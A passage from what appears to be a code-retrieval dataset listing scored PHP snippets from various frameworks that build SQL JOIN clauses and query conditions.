00:00:00',\n\t\t\t\t))\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "a6a6e0917bd81383736f61bd55973f00", "score": "0.61755705", "text": "public function get_joins()\n {\n return $this->joins;\n }", "title": "" }, { "docid": "82b010faad162c915d0c8bc886cfc3f9", "score": "0.61583", "text": "protected function aquireJoinKeys() {\n\t\t$tableIndexes = $this->queryController->get_tableIndexes();\n\t\tforeach ($tableIndexes as $tableIndex) {\n\t\t\tif ($tableIndex>0) {\n\t\t\t\t// If current index is an index of an additional table get joinInfo\n\t\t\t\t$joinInfo = $this->queryGenerator->get_tableJoinInfo($tableIndex);\n\t\t\t\tif ($joinInfo['combine']) {\n//print_r($joinInfo);\n\t\t\t\t\t// When this joinInfo declares a \"combine\" - run through all criteriaKeys and append them to the joinKeys array\n\t\t\t\t\tforeach ($joinInfo['criteriaKeys'] as $idx => $joinKey) {\n\t\t\t\t\t\t$currentIndex = $joinKey['current']['index'];\n\t\t\t\t\t\t$currentTable = $this->queryController->get_tableName($currentIndex);\n\t\t\t\t\t\t$joinTable = $joinKey['table'];\n\t\t\t\t\t\t$joinField = $joinKey['field'];\n\t\t\t\t\t\t// TODO: This is currently not save when the same table is joined multiple times.\n\t\t\t\t\t\t// For this case the \"index\" value has to get respected\n\t\t\t\t\t\t$this->joinKeys[$currentTable][$joinTable][$joinField] = $joinField;\n\t\t\t\t\t\t$compareKey = $joinInfo['criteriaCompared'][$idx];\n\t\t\t\t\t\t$this->compareKeys[$currentTable][$joinTable][$joinField] = array($compareKey['table'], $compareKey['field']);\n//print_r($this->joinKeys);\n//print_r($this->compareKeys);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn (is_array($this->joinKeys) && count($this->joinKeys)) ? true : false;\n\t}", "title": "" }, { "docid": "69e35f85bfe877f2b6aa7ca039489cdc", "score": "0.6155058", "text": "private function buildJoin()\n {\n if (empty($this->joins)) return;\n\n foreach ($this->joins as $join) {\n $type = $join[0];\n $operator = $join[1];\n $table = $join[2];\n $table1col = $join[3];\n $table2col = $join[4];\n\n $this->sql .= \" $type JOIN $table ON $table1col $operator $table2col\";\n }\n }", "title": "" }, { "docid": "0e58eefc7d414f209b0403c6a9d45fee", "score": "0.6119116", "text": "public function leftJoin(){}", "title": "" }, { "docid": "c632f6c98d6d9dfaf74bfa299fb616f5", "score": "0.61170864", "text": "public function getJoins()\n {\n return $this->joins;\n }", "title": "" }, { "docid": "7e7d43f83a519368f6463b8ddda7deff", "score": "0.60951155", "text": "public function joinConditions(array $conditions, $db, $clause='AND'){\r\n $data = array_map(function($k, $v) use ($db){\r\n if(is_array($v)){\r\n $vals = array();\r\n foreach($v as $kv){\r\n $vals[] = sprintf(\"'%s'\", $db->dbEscapeString($kv));\r\n }\r\n return sprintf(\"%s in (%s)\", $k, join(\",\", $vals));\r\n }\r\n return sprintf('%s = \\'%s\\'', $k, $db->dbEscapeString($v));\r\n }, array_keys($conditions), array_values($conditions));\r\n return join(\" $clause \", $data);\r\n }", "title": "" }, { "docid": "fb718f11f6a1e729ca19ad164ed2ccf2", "score": "0.60718185", "text": "function get_joined_by ($table_name_1,$table_name_2,$join_field,$where_array=array(),$result_type='row') {\n return $this->get_joined($table_name_1,$table_name_2,$join_field,$where_array,'',array(),$result_type);\n }", "title": "" }, { "docid": "97999e92b82e0ab6ef0c221ebfaf0ab9", "score": "0.5992197", "text": "protected function constraints()\n {\n $query = '';\n\n // Joins\n $sql = array();\n\n foreach ($this->joins as $join) {\n $clauses = array();\n\n foreach ($join->clauses as $clause) {\n $first = $this->wrap($clause['first']) ;\n\n $second = ($clause['where'] == true) ? '?' : $this->wrap($clause['second']);\n\n $clauses[] = strtoupper($clause['boolean']) .' ' .$first .' ' .$clause['operator'] .' ' .$second;\n }\n\n $clauses = preg_replace('/AND |OR /', '', implode(' ', $clauses), 1);\n\n $sql[] = strtoupper($join->type) .' JOIN ' .$this->wrap($join->table) .' ON ' .$clauses;\n }\n\n if (! empty($sql)) {\n $query .= implode(' ', $sql);\n }\n\n // Wheres\n if (! is_null($sql = $this->compileWheres())) {\n $query .= ' WHERE ' .$sql;\n }\n\n // Orders\n $sql = array();\n\n foreach ($this->orders as $order) {\n $sql[] = $this->wrap($order['column']) .' ' .$order['direction'];\n }\n\n if (! empty($sql)) {\n $query .= ' ORDER BY ' .implode(', ', $sql);\n }\n\n // Limits\n if (isset($this->limit)) {\n $query .= ' LIMIT ' .$this->limit;\n }\n\n if (isset($this->offset)) {\n $query .= ' OFFSET ' .$this->offset;\n }\n\n return $query;\n }", "title": "" }, { "docid": "3a2cb5b44ed32c7743fc93dad1081a62", "score": "0.5981654", "text": "protected function _build_join_through(&$joins, $rel_name, $alias_to, $alias_from, $conditions)\n\t{\n\t\treset($this->key_from);\n\t\tforeach ($this->key_through_from as $key)\n\t\t{\n\t\t\t$joins[$rel_name.'_through']['join_on'][] = array($alias_from.'.'.current($this->key_from), '=', $alias_to.'.'.$key);\n\t\t\tnext($this->key_from);\n\t\t}\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "72edc49d4b47e299dbf1a42f2fcc53ff", "score": "0.59492064", "text": "protected function joinCondition($table, array $args)\n {\n switch (count($args)) {\n //\tif 2 arguments for a condition, shortcut for =\n case 2:\n /*\n *\tex.\t\tid = 12\n *\tex.\t\tname = 'test'\n */\n $this->joins[$table][] = $args[0].' = '.$args[1];\n break;\n //\tif 3 arguments, 2nd is operator, 3rd is value unless 3rd is boolean\n case 3:\n /*\n *\tex.\t\tid = 12\n *\tex.\t\tname = 'test'\n */\n $this->joins[$table][] = $args[0].' '.(is_bool($args[2]) ?\n ($args[2] === true ? ' = '.$args[1] : \" = '\".$args[1].\"'\") :\n $args[1].' '.$args[2]);\n break;\n //\tif 4 arguments, 4th tells us whether to treat 2nd value (arg 3) as a column name (no 's)\n case 4:\n /*\n *\tex.\t\tid = user_id\t\t4th = true\n *\tex.\t\tname = 'test'\t4th = false\n */\n $this->joins[$table][] = $args[0].' '.$args[1].' '.((is_bool($args[3]) && $args[3] === true) ?\n $args[2] : \"'\".$args[2].\"'\");\n break;\n //\tcondition can't have just 1 argument\n default:\n throw new \\Exception('Unexpected number of arguments in condition');\n }\n }", "title": "" }, { "docid": "5a2be8830a57218d79d2562d6eaaaf3b", "score": "0.5927101", "text": "protected function _build_join_where_through(&$joins, $rel_name, $alias_to, $alias_from, $conditions)\n\t{\n\t\t// Creates the custom conditions on the table_through join\n\t\tforeach (\\Arr::get($conditions, 'through_where', array()) as $key => $condition)\n\t\t{\n\t\t\t!is_array($condition) and $condition = array($key, '=', $condition);\n\t\t\tis_string($condition[2]) and $condition[2] = \\Db::quote($condition[2], $joins[$rel_name]['connection']);\n\t\t\t$condition[0] = $this->getAliasedField($condition[0], $this->alias_through);\n\t\t\t$joins[$rel_name.'_through']['join_on'][] = $condition;\n\t\t}\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "82be6282ce96f3efca6ad3ba3afd0cea", "score": "0.591386", "text": "protected function getJoins()\n\t{\n\t\t$item = $this->getItem();\n\t\tif ((int)$item->id === 0) {\n\t\t\treturn array();\n\t\t}\n\t\t$db = FabrikWorker::getDbo(true);\n\t\t$query = $db->getQuery(true);\n\t\t$query->select('*, j.id AS id, j.params as jparams')->from('#__{package}_joins AS j')->join('INNER', '#__{package}_groups AS g ON g.id = j.group_id')->where('j.list_id = '.(int)$item->id);\n\t\t$db->setQuery($query);\n\t\t$joins = $db->loadObjectList();\n\t\t$fabrikDb = $this->getFEModel()->getDb();\n\t\t$c = count($joins);\n\t\tfor ($i = 0; $i < $c; $i++) {\n\t\t\t$join =& $joins[$i];\n\t\t\t$jparams = $join->jparams == '' ? new stdClass() : json_decode($join->jparams);\n\t\t\tif (isset($jparams->type) && $jparams->type == 'element') {\n\t\t\t\tunset($joins[$i]);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$fields = $fabrikDb->getTableFields(array($join->join_from_table, $join->table_join));\n\t\t\t$join->joinFormFields = array_keys($fields[$join->join_from_table]);\n\t\t\t$join->joinToFields = array_keys($fields[$join->table_join]);\n\t\t}\n\t\treturn $joins;\n\t}", "title": "" }, { "docid": "616e41c6542d6c631f3e317ed01667ec", "score": "0.59109044", "text": "public function toString()\n\t{\n\t\t$result = '';\n\t\tif ($this->joinType !== null) {\n\t\t\t$result .= $this->joinType . ' : ';\n\t\t}\n\t\tforeach ($this->getConditions() as $index => $condition) {\n\t\t $result .= implode($condition);\n\t\t if ($index + 1 < $this->count) {\n\t\t\t\t$result .= ' AND ';\n\t\t\t}\n\t\t}\n $result .= '(ignoreCase not considered)';\n \n\t\treturn $result;\n\t}", "title": "" }, { "docid": "0e7e8f2c9c0ead28f3e0ffbaf8155d8a", "score": "0.59072715", "text": "public function getAdditionalConditionsForFetchOne(): array\n {\n $conditions = [];\n /** @var RecordInterface $userClass */\n $userClass = $this->dbRecordClass;\n if ($userClass::hasColumn('is_active')) {\n $conditions['is_active'] = true;\n }\n if ($userClass::hasColumn('is_deleted')) {\n $conditions['is_deleted'] = false;\n }\n if ($userClass::hasColumn('is_banned')) {\n $conditions['is_banned'] = false;\n }\n return $conditions;\n }", "title": "" }, { "docid": "b093b66e52e2f081d7691dd09691a043", "score": "0.5827793", "text": "public static function joins(){\n\t\t$list = [];\n\t\t$db = DB::prepare('SELECT vg_name,release_date,platform,genre,companies.name,companies.location, rating.website, rating.rating,videogame.id from videogame INNER JOIN companies ON companies.id = videogame.company_id INNER JOIN rating ON rating.id = videogame.rating_id');\n\t\t$db->execute();\n\t\tforeach($db->fetchAll() as $joins){\n\t\t\t$list[] = array($joins['vg_name'],$joins['release_date'],$joins['platform'],$joins['genre'],$joins['name'],$joins['location'],$joins['website'],$joins['rating'], $joins['id']);\n\t\t}\t\n\t\treturn $list;\n\t}", "title": "" }, { "docid": "63afa8d77bcddb3588379e524fda54a9", "score": "0.58042383", "text": "public function joinFields()\n {\n\t\t$this->getSelect()\n\t\t ->join(\n array('mad' => $this->getTable('magebid/auction_detail')), \n 'mad.magebid_auction_detail_id = main_table.magebid_auction_detail_id')\t\n\t\t ->join(\n array('mat' => $this->getTable('magebid/auction_type')), \n 'mat.magebid_auction_type_id = main_table.magebid_auction_type_id');\t\t\t\t\t\n\t\t//echo $this->getSelect()->__toString();\n }", "title": "" }, { "docid": "4bf91dad2336903c5ddd947d86b5f39b", "score": "0.57522404", "text": "private function makeCondition($relation)\n {\n $result = [];\n foreach ($relation as $key => $value){\n $result[] = \"f.$key = t.$value\";\n }\n return implode(' AND ', $result);\n }", "title": "" }, { "docid": "03c01c1914742b6b00e970fffe04857c", "score": "0.5744323", "text": "private function _getJoins() {\n\t\treturn '';\n\t}", "title": "" }, { "docid": "0449ce4e3529be6e21c57a79e57a0168", "score": "0.57395697", "text": "public function getJoinedColumns()\n {\n $joinedColumns = '';\n\n foreach ($this->joinedColumns as $column) {\n $joinedColumns .= $column.' AND ';\n }\n\n return PMF_String::substr($joinedColumns, 0, -4);\n }", "title": "" }, { "docid": "9478b85fda427f8fc7dcdf26ebc58235", "score": "0.573899", "text": "protected function _getJoinType(){ }", "title": "" }, { "docid": "dbaa83a5b9346f6de062f4857ff5ac36", "score": "0.57311857", "text": "function buildJoinStatement($join) {\n\t\t$data = array_merge ( array (\n\t\t\t\t'type' => null,\n\t\t\t\t'alias' => null,\n\t\t\t\t'table' => 'join_table',\n\t\t\t\t'conditions' => array () \n\t\t), $join );\n\t\t\n\t\tif (! empty ( $data ['alias'] )) {\n\t\t\t$data ['alias'] = $this->alias . $this->name ( $data ['alias'] );\n\t\t}\n\t\tif (! empty ( $data ['conditions'] )) {\n\t\t\t$data ['conditions'] = trim ( $this->conditions ( $data ['conditions'], true, false ) );\n\t\t}\n\t\tif (! empty ( $data ['table'] )) {\n\t\t\t$data ['table'] = $this->fullTableName ( $data ['table'] );\n\t\t}\n\t\treturn $this->renderJoinStatement ( $data );\n\t}", "title": "" }, { "docid": "8f0722b53557ac74610db4c0f53e0420", "score": "0.57228225", "text": "public function groupJoin($values);", "title": "" }, { "docid": "2608b18f8eebb2d8b4345ff81c106caa", "score": "0.5710951", "text": "function getJoins()\r\n\t{\r\n\t\t$db =& JFactory::getDBO();\r\n\t\tif (!isset( $this->_aJoins )) {\r\n\t\t\t$sql = \"SELECT * FROM #__fabrik_joins WHERE element_id = '$this->_id' ORDER BY id\";\r\n\t\t\t$db->setQuery( $sql );\r\n\t\t\t$this->_aJoins = $db->LoadObjectList( );\r\n\t\t}\r\n\t\treturn $this->_aJoins;\r\n\t}", "title": "" }, { "docid": "c184943ea061ad8cee7dc4524b038aff", "score": "0.57099795", "text": "private function generateInnerJoinQuery(): string\n {\n $innerJoinEngineLog = '';\n if ($this->engine == \"true\" && isset($this->openid) && $this->openid != \"\") {\n // filtering poller ids and keeping only real ids\n $pollerIds = explode(',', $this->openid);\n $filteredIds = array_filter($pollerIds, function ($id) {\n return is_numeric($id);\n });\n\n if (count($filteredIds) > 0) {\n foreach ($filteredIds as $index => $filteredId) {\n $key = ':pollerId' . $index;\n $this->queryValues[$key] = [\\PDO::PARAM_INT => $filteredId];\n $pollerIds[] = $key;\n }\n $innerJoinEngineLog = ' INNER JOIN instances i ON i.name = logs.instance_name'\n . ' AND i.instance_id IN ( ' . implode(',', array_values($pollerIds)) . ')';\n }\n }\n\n return $innerJoinEngineLog;\n }", "title": "" }, { "docid": "5b0b9c59112755245b5a9cbd30c42e5f", "score": "0.57097745", "text": "public function getForeignTableCondition()\n {\n $where = \"$this->foreignField=?\";\n $values = [$this->currentRecord];\n\n if (isset($GLOBALS['TL_DCA'][$this->foreignTable]['config']['dynamicPtable'])) {\n $where .= ' AND ptable=?';\n $values[] = $this->strTable;\n }\n\n return [$where, $values];\n }", "title": "" }, { "docid": "7c91b94ddbf466e2bf76e03ed785dca5", "score": "0.57063866", "text": "private function join()\n {\n $a = $this->prefix($this->pk(), $this->table());\n $b = $this->prefix($this->pk(), $this->ee_table);\n\n ee()->db->join($this->ee_table, $a . ' = ' . $b, 'inner');\n }", "title": "" }, { "docid": "63377e7e1638aaa869f57b4ae00c46a4", "score": "0.57042783", "text": "public function loadJoin()\n\t{\n\t\t$tableList = $tableJoin = [];\n\t\t$moduleTableIndexList = $this->entityModel->tab_name_index;\n\t\t$baseTable = $this->entityModel->table_name;\n\t\t$baseTableIndex = $moduleTableIndexList[$baseTable];\n\t\tforeach ($this->fields as &$fieldName) {\n\t\t\tif ($fieldName === 'id') {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t$field = $this->getModuleField($fieldName);\n\t\t\tif ($field->getFieldDataType() === 'reference') {\n\t\t\t\t$tableJoin[$field->getTableName()] = 'INNER JOIN';\n\t\t\t\tforeach ($this->referenceFields[$fieldName] as &$moduleName) {\n\t\t\t\t\tif ($moduleName === 'Users' && $this->moduleName !== 'Users') {\n\t\t\t\t\t\t$this->addJoin(['LEFT JOIN', 'vtiger_users' . $fieldName, \"{$field->getTableName()}.{$field->getColumnName()} = vtiger_users{$fieldName}.id\"]);\n\t\t\t\t\t\t$this->addJoin(['LEFT JOIN', 'vtiger_groups' . $fieldName, \"{$field->getTableName()}.{$field->getColumnName()} = vtiger_groups{$fieldName}.groupid\"]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} elseif ($field->getFieldDataType() === 'owner' && $fieldName === 'created_user_id') {\n\t\t\t\t$this->addJoin(['LEFT JOIN', 'vtiger_users' . $fieldName, \"{$field->getTableName()}.{$field->getColumnName()} = vtiger_users{$fieldName}.id\"]);\n\t\t\t\t$this->addJoin(['LEFT JOIN', 'vtiger_groups' . $fieldName, \"{$field->getTableName()}.{$field->getColumnName()} = vtiger_groups{$fieldName}.groupid\"]);\n\t\t\t}\n\t\t\tif (!isset($tableList[$field->getTableName()])) {\n\t\t\t\t$tableList[$field->getTableName()] = $field->getTableName();\n\t\t\t\t$tableJoin[$field->getTableName()] = $this->entityModel->getJoinClause($field->getTableName());\n\t\t\t}\n\t\t}\n\t\tforeach ($this->getEntityDefaultTableList() as &$table) {\n\t\t\tif (!isset($tableList[$table])) {\n\t\t\t\t$tableList[$table] = $table;\n\t\t\t\t$tableJoin[$table] = 'INNER JOIN';\n\t\t\t}\n\t\t}\n\t\tif ($this->ownerFields) {\n\t\t\t//there are more than one field pointing to the users table, the real one is the one called assigned_user_id if there is one, otherwise pick the first\n\t\t\tif (in_array('assigned_user_id', $this->ownerFields)) {\n\t\t\t\t$ownerField = 'assigned_user_id';\n\t\t\t} else {\n\t\t\t\t$ownerField = $this->ownerFields[0];\n\t\t\t}\n\t\t}\n\t\tforeach ($this->customTable as &$table) {\n\t\t\t$tableName = $table['name'];\n\t\t\t$tableList[$tableName] = $tableName;\n\t\t\t$tableJoin[$tableName] = $table['join'];\n\t\t}\n\t\tforeach ($this->getEntityDefaultTableList() as &$tableName) {\n\t\t\t$this->query->join($tableJoin[$tableName], $tableName, \"$baseTable.$baseTableIndex = $tableName.{$moduleTableIndexList[$tableName]}\");\n\t\t\tunset($tableList[$tableName]);\n\t\t}\n\t\tunset($tableList[$baseTable]);\n\t\tforeach ($tableList as &$tableName) {\n\t\t\tif ($tableName === 'vtiger_users') {\n\t\t\t\t$field = $this->getModuleField($ownerField);\n\t\t\t\t$this->addJoin([$tableJoin[$tableName], $tableName, \"{$field->getTableName()}.{$field->getColumnName()} = $tableName.id\"]);\n\t\t\t} elseif ($tableName == 'vtiger_groups') {\n\t\t\t\t$field = $this->getModuleField($ownerField);\n\t\t\t\t$this->addJoin([$tableJoin[$tableName], $tableName, \"{$field->getTableName()}.{$field->getColumnName()} = $tableName.groupid\"]);\n\t\t\t} else {\n\t\t\t\t$this->addJoin([$tableJoin[$tableName], $tableName, \"$baseTable.$baseTableIndex = $tableName.$moduleTableIndexList[$tableName]\"]);\n\t\t\t}\n\t\t}\n\t\tforeach ($this->joins as &$join) {\n\t\t\t$on = isset($join[2]) ? $join[2] : '';\n\t\t\t$params = isset($join[3]) ? $join[3] : [];\n\t\t\t$this->query->join($join[0], $join[1], $on, $params);\n\t\t}\n\t\t/*\n\t\t foreach ($this->m2mRelModConditions as &$conditionInfo) {\n\t\t $relatedModuleMeta = \\RelatedModuleMeta::getInstance($this->moduleName, $conditionInfo['relatedModule']);\n\t\t $relationInfo = $relatedModuleMeta->getRelationMeta();\n\t\t $this->query->innerJoin($relationInfo['relationTable'], \"{$relationInfo['relationTable']}.{$relationInfo[$this->moduleName]} = $baseTable.$baseTableIndex\");\n\t\t }\n\t\t // Adding support for conditions on reference module fields\n\t\t if ($this->referenceModuleField) {\n\t\t $referenceFieldTableList = [];\n\t\t foreach ($this->referenceModuleField as &$conditionInfo) {\n\t\t $relatedEntityModel = \\CRMEntity::getInstance($conditionInfo['relatedModule']);\n\t\t $tabIndex = $relatedEntityModel->tab_name_index;\n\t\t $referenceField = $this->getModuleField($conditionInfo['referenceField']);\n\t\t $fieldModel = \\Vtiger_Field_Model::getInstance($conditionInfo['fieldName'], \\Vtiger_Module_Model::getInstance($conditionInfo['relatedModule']));\n\t\t if (empty($fieldModel)) {\n\t\t continue;\n\t\t }\n\t\t $tableName = $fieldModel->getTableName();\n\t\t if (!isset($referenceFieldTableList[$tableName])) {\n\t\t $this->query->leftJoin(\"$tableName $tableName{$conditionInfo['referenceField']}\", \"$tableName{$conditionInfo['referenceField']}.{$tabIndex[$tableName]} = {$referenceField->getTableName()}.{$referenceField->getColumnName()}\");\n\t\t $referenceFieldTableList[$tableName] = $tableName;\n\t\t }\n\t\t }\n\t\t }\n\n\t\t foreach ($this->fromClauseCustom as $where) {\n\t\t $this->query->join($where['joinType'], $where['relatedTable'], \"{$where['relatedTable']}.{$where['relatedIndex']} = {$where['baseTable']}.{$where['baseIndex']}\");\n\t\t }\n\t\t */\n\t}", "title": "" }, { "docid": "4e93361ae4928dfdf9f2a40dc8d6c0b6", "score": "0.57006437", "text": "public function getConditions(): array\n {\n return $this->conditions;\n }", "title": "" }, { "docid": "927dbf7c8eab2d929129dcd0f52357be", "score": "0.5654426", "text": "protected function _buildQueryJoins(&$query)\r\n {\r\n }", "title": "" }, { "docid": "e4683d6add6d55e260f4985a5b5574bb", "score": "0.5646374", "text": "public function getSqlCondition($obj = array())\n {\n $result = array();\n\n foreach ($obj as $key => $item) {\n $buffer = explode(\"&\", $key);\n $action = !empty($buffer[1]) ? $buffer[1] : \"=\";\n\n if (in_array($action, array('IN', 'NOT IN'))) {\n $values = array();\n if (!$item) {\n continue;\n }\n $item = is_scalar($item) ? array($item) : $item;\n foreach($item as $val) {\n $values[] = $this->quote($val);\n }\n\n if($values) {\n $result[] = $buffer[0].\" \".$action.\" (\".join(', ', $values).')';\n }\n continue;\n }\n\n if(strtolower($action) == 'or_sql') {\n $result[] = '('.join(' OR ', $item).')';\n continue;\n }\n\n if ($key == 'sql_or') {\n\n $search = array();\n foreach ($item as $row) {\n if (is_scalar($row)) {\n $search[] = $row;\n } else {\n $search[] = join(' AND ', $this->getSqlCondition($row));\n }\n }\n\n $result[] = '(('.join(' ) OR (', $search).'))';\n continue;\n }\n\n if ($key == 'sql_and') {\n\n $search = array();\n foreach ($item as $row) {\n if (is_scalar($row)) {\n $search[] = $row;\n } else {\n $search[] = join(' AND ', $this->getSqlCondition($row));\n }\n }\n\n $result[] = join(' AND ', $search);\n continue;\n }\n\n $command = strtolower($action);\n\n if ($command == 'or') {\n\n list($value, $others) = $item;\n\n $action = empty($buffer[2]) ? '&=' : '&'.$buffer[2];\n\n $condition = array($buffer[0].$action => $value);\n $ors = $this->getSqlCondition($condition);\n\n $others = $this->getSqlCondition($others);\n $conditions = array_merge($ors, $others);\n $result[] = '('.join(' OR ', $conditions).')';\n\n continue;\n } else if ($command == \"match\") {\n\n $result[] = \"MATCH (\".$buffer[0].\") AGAINST (\".$this->quote($item).\")\";\n continue;\n } else if ($command == \"between\") {\n $sqlCondition = $buffer[0].\" \".$command.\" \";\n if (is_array($item)) {\n $sqlCondition .= $this->quote($item[0]).\" AND \".$this->quote($item[1]);\n } else {\n $sqlCondition .= $item;\n }\n \n $result[] = $sqlCondition;\n continue;\n }\n\n if (!in_array($item, $this->reservedWords)) {\n $result[] = $buffer[0].\" \".$action.\" \".$this->quote($item);\n } else {\n $result[] = $buffer[0].\" \".$action.\" \".$item;\n }\n }\n\n return $result;\n }", "title": "" }, { "docid": "66654f47cf98ed8c7cdae3312eecae14", "score": "0.56428367", "text": "public function getJoin() {\n // don't join anything\n return;\n }", "title": "" }, { "docid": "4fb5252ce7daf30a582b8537bb280c73", "score": "0.56357175", "text": "function posts_join( $join ) {\n\t\tglobal $wpdb;\n\n\t\t// Only modify JOIN clause if external permalinks redux code is loaded\n\t\tif ( class_exists( 'external_permalinks_redux' ) && method_exists( 'external_permalinks_redux', 'get_instance' ) ) {\n\t\t\t$join .= $wpdb->prepare( \" LEFT JOIN {$wpdb->postmeta} epr ON epr.post_id={$wpdb->posts}.ID AND epr.meta_key=%s\", external_permalinks_redux::get_instance()->meta_key_target );\n\t\t}\n\n\t\treturn $join;\n\t}", "title": "" }, { "docid": "ca739ba1e784561a5a523a8c00ab7e1f", "score": "0.56239665", "text": "public function join($table, $cond, $type = '') {\n\t\tif ($type != '') {\n\t\t\t$type = strtoupper(trim($type));\n\n\t\t\tif ( ! in_array($type, array('LEFT', 'RIGHT', 'OUTER', 'INNER', 'LEFT OUTER', 'RIGHT OUTER'), TRUE)) {\n\t\t\t\t$type = '';\n\t\t\t} else {\n\t\t\t\t$type .= ' ';\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(preg_match_all('/\\s+(AND|OR)\\s+/', $cond, $matches)) {\n\t\t\t$arr = preg_split('/\\s+(AND|OR)\\s+/', $cond);\n\t\t\t$cond = \"(\";\n\t\t\tforeach($arr as $k=>$v) {\n\t\t\t\tif (preg_match('/([^\\s]+)([\\s+]?=[\\s+]?)(.+)/i', $v, $where)) {\n\t\t\t\t\t$cond .= $this->driver->escape_column($this->config['table_prefix'].$where[1]).\n\t\t\t\t\t\t\t' = '.\n\t\t\t\t\t\t\t(is_numeric($where[3]) ? $where[3] : $this->driver->escape_column($this->config['table_prefix'].$where[3])).$matches[0][$k];\n\t\t\t\t} else {\n\t\t\t\t\tEight::log('debug', 'Failed to add join: '.$v);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$cond .= \")\";\n\t\t} else {\n\t\t\tif (preg_match('/([^\\s]+)([\\s+]?=[\\s+]?)(.+)/i', $cond, $where)) {\n\t\t\t\t$cond = $this->driver->escape_column($this->config['table_prefix'].$where[1]).\n\t\t\t\t\t\t' = '.\n\t\t\t\t\t\t(is_numeric($where[3]) ? $where[3] : $this->driver->escape_column($this->config['table_prefix'].$where[3]));\n\t\t\t} else {\n\t\t\t\tEight::log('debug', 'Failed to add join: '.$cond);\t\t\t\n\t\t\t}\n\t\t}\n\n\t\t$this->join[] = $type.'JOIN '.$this->driver->escape_column($this->config['table_prefix'].$table).' ON '.$cond;\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "9104918b07b10c7e77faff18b37ce4ab", "score": "0.5619166", "text": "function xiliml_adjacent_join_filter($join, $in_same_cat, $excluded_categories) {\n\tglobal $post, $wpdb;\n\t$curlang = xiliml_get_lang_object_of_post( $post->ID );\n\t// in join p is $wpdb->posts AS p in get_adjacent_post of lin_template.php\n\tif ($curlang) { // only when language is defined !\n\t\t$join .= \" LEFT JOIN $wpdb->term_relationships as xtr ON (p.ID = xtr.object_id) LEFT JOIN $wpdb->term_taxonomy as xtt ON (xtr.term_taxonomy_id = xtt.term_taxonomy_id) \";\n\t}\nreturn $join;\n}", "title": "" }, { "docid": "b2c5854e7958aa5adf77dc42190a36a8", "score": "0.5609211", "text": "protected function lookForContentTableJoins() {\n\t\t$sql = \"\";\n\t\t\n\t\treturn $sql;\n\t}", "title": "" }, { "docid": "d23fae17892c35d93a2b4deed0ecbf44", "score": "0.5604142", "text": "function getJoins($table1, $table2)\n {\n $result = array();\n $path =& $this->findPath($table1, $table2);\n $it =& new ArrayIterator($path);\n $node1 =& $it->getCurrent();\n $it->next();\n for ( ; $it->isValid(); $it->next())\n {\n $node2 =& $it->getCurrent();\n array_push($result, $this->getDirectJoin($node1, $node2));\n $node1 =& $node2;\n }\n return array($result, $path);\n }", "title": "" }, { "docid": "3b4304ff3e0facf1bc89e9162b817e3d", "score": "0.56038684", "text": "function _matchRecords(&$model, $conditions = null) {\n\t\tif ($conditions === true) {\n\t\t\t$conditions = $this->conditions ( true );\n\t\t} elseif ($conditions === null) {\n\t\t\t$conditions = $this->conditions ( $this->defaultConditions ( $model, $conditions, false ), true, true, $model );\n\t\t} else {\n\t\t\t$noJoin = true;\n\t\t\tforeach ( $conditions as $field => $value ) {\n\t\t\t\t$originalField = $field;\n\t\t\t\tif (strpos ( $field, '.' ) !== false) {\n\t\t\t\t\tlist ( $alias, $field ) = explode ( '.', $field );\n\t\t\t\t\t$field = ltrim ( $field, $this->startQuote );\n\t\t\t\t\t$field = rtrim ( $field, $this->endQuote );\n\t\t\t\t}\n\t\t\t\tif (! $model->hasField ( $field )) {\n\t\t\t\t\t$noJoin = false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif ($field !== $originalField) {\n\t\t\t\t\t$conditions [$field] = $value;\n\t\t\t\t\tunset ( $conditions [$originalField] );\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($noJoin === true) {\n\t\t\t\treturn $this->conditions ( $conditions );\n\t\t\t}\n\t\t\t$idList = $model->find ( 'all', array (\n\t\t\t\t\t'fields' => \"{$model->alias}.{$model->primaryKey}\",\n\t\t\t\t\t'conditions' => $conditions \n\t\t\t) );\n\t\t\t\n\t\t\tif (empty ( $idList )) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t$conditions = $this->conditions ( array (\n\t\t\t\t\t$model->primaryKey => Set::extract ( $idList, \"{n}.{$model->alias}.{$model->primaryKey}\" ) \n\t\t\t) );\n\t\t}\n\t\treturn $conditions;\n\t}", "title": "" }, { "docid": "96a916083cd283db1a995770f3cde9c0", "score": "0.55971146", "text": "function getJoin1where($select, $tabel, $tabeljoin, $idjoin, $arraywhere, $fieldorder, $jenis_orderby) {\n $this->db->select($select);\n $this->db->from($tabel);\n $this->db->join($tabeljoin, $idjoin);\n $this->db->where($arraywhere);\n $this->db->order_by($fieldorder, $jenis_orderby);\n $query = $this->db->get();\n return $query->result();\n }", "title": "" }, { "docid": "dc47207530d8d2500efa07fa3be81769", "score": "0.55931056", "text": "public function default_join()\n {\n }", "title": "" }, { "docid": "706e17346ec05f9d13f24e394bf88c3f", "score": "0.55742806", "text": "protected function _build_join_where_to(&$joins, $rel_name, $alias_to, $alias_from, $conditions)\n\t{\n\t\t// Creates the custom conditions on the model_to join\n\t\tforeach (\\Arr::get($conditions, array('where', 'join_on'), array()) as $where)\n\t\t{\n\t\t\tforeach ($where as $key => $condition)\n\t\t\t{\n\t\t\t\t!is_array($condition) and $condition = array($key, '=', $condition);\n\t\t\t\tis_string($condition[2]) and $condition[2] = \\Db::quote($condition[2], $joins[$rel_name]['connection']);\n\t\t\t\t$condition[0] = $this->getAliasedField($condition[0], $alias_to);\n\t\t\t\t$joins[$rel_name]['join_on'][] = $condition;\n\t\t\t}\n\t\t}\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "a7f1761777b3784da33bd0842fd6507d", "score": "0.55649936", "text": "function fn_product_filters_get_products_conditions(array $params, $lang_code, $use_temporary_table = true)\n{\n list(, $join, $where) = fn_get_products($params, 0, $lang_code);\n $base_join = $join;\n $base_where = $where;\n\n if ($use_temporary_table && 